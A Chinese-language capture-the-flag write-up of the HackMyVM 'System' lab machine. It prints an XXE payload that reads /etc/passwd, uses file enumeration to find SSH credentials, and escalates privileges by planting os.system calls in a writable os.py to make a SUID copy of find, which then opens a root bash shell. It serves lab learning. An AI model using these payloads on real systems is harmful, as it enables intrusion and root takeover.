hackmyvm System 靶机练习(最玄学的拿root经历)


主机发现

在这里插入图片描述

端口扫描

在这里插入图片描述

漏洞挖掘

访问web,发现是一个登录表单
在这里插入图片描述
打开burpsuite,抓包分析,发现请求体是xml格式,立马想到XXE
在这里插入图片描述
发送到Repeater模块进行测试,发现email那个位置可以利用,因为他在页面上有回显
在这里插入图片描述
我在请求体的XML引用了外部实体,结果发现程序启用了外部实体,也就是说这里真有XXE漏洞

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
    <!ENTITY f SYSTEM "/etc/passwd">
]>
<details><email>&f;</email><password>12</password></details>

查看/etc/passwd文件,看有哪些可以登录的用户

在这里插入图片描述
将信息保存在一个文件中
在这里插入图片描述
在这里插入图片描述
筛选出可以登录的用户,david和root
在这里插入图片描述


这时候可以利用xxe枚举david家目录的文件
将刚刚的请求包发送的intruder模块,payload点为下图的地方
在这里插入图片描述
选择一个字典
这里推荐https://github.com/danielmiessler/SecLists
简直是字典天花板,什么类型的字典都有
这里跑完之后发现4个响应长度不一样的文件,说明xxe回显出内容了,其他长度都是无内容的
在这里插入图片描述
这里发现一个可疑文件.viminfo
在这里插入图片描述
发现一个密码,应该是david的登录密码
在这里插入图片描述

ssh david@192.168.31.57

在这里插入图片描述
成功登录到david

在这里插入图片描述
成功找出user flag


权限提升

按照国际惯例,先把kali上的linpeas脚本拉到靶机上运行
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述


首先是这里,没有gcc,用不了DirtyPipe提权(我是不会弄)
在这里插入图片描述
第一和第三个exp在网上找资源也是要gcc编译,也无果
在这里插入图片描述
这里也没有特别可利用的SUID二进制文件
在这里插入图片描述


研究了一天,第二天直到我看到这里

在这里插入图片描述
os.py–others有可写功能,属主是root,那我们可不可以写入os.system()命令让root帮我们执行一些命令
在这里插入图片描述
有想法就去测试了

david@system:~$ vi /usr/lib/python3.9/os.py 

我在文件的最底部插入了

import os
os.system('cp /usr/bin/find /tmp/find')
os.system('chmod u+s /tmp/find')

意思是复制系统自带的find命令到/tmp目录下,并加个SUID权限

SUID的功能:用户运行某程序时,如果此程序拥有SUID权限,那么程序运行为进程时,其进程的属主不是发起者,而是程序文件自己的属主

在这里插入图片描述
python3运行了一下,结果发现运行有错误,好像是权限不够
在这里插入图片描述
但是当我查看/tmp目录时,大吃一惊
在这里插入图片描述
这不是复制成功了吗??


不管那么多,先拿去测试一下

david@system:~$ /tmp/find /opt -exec whoami \;

在这里插入图片描述
whoami是root说明已经拿到root权限了


拿到一个交互的root

david@system:~$ /tmp/find /opt -exec /bin/bash -p \;
这里-p 是必加的,作用是以"suid"运行bash

在这里插入图片描述
如果不加-p,可以发现是david
在这里插入图片描述

拿到root权限之后,就是愉快的找root flag啦~
在这里插入图片描述

知识回顾

  1. XXE
  2. 枚举家目录文件
  3. 注意others有可写功能,属主是root的文件
  4. find的命令执行和root权限的交互shell

PS:这篇Writeup是全网System靶机的第一篇Writeup,没想到我也有今日…

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值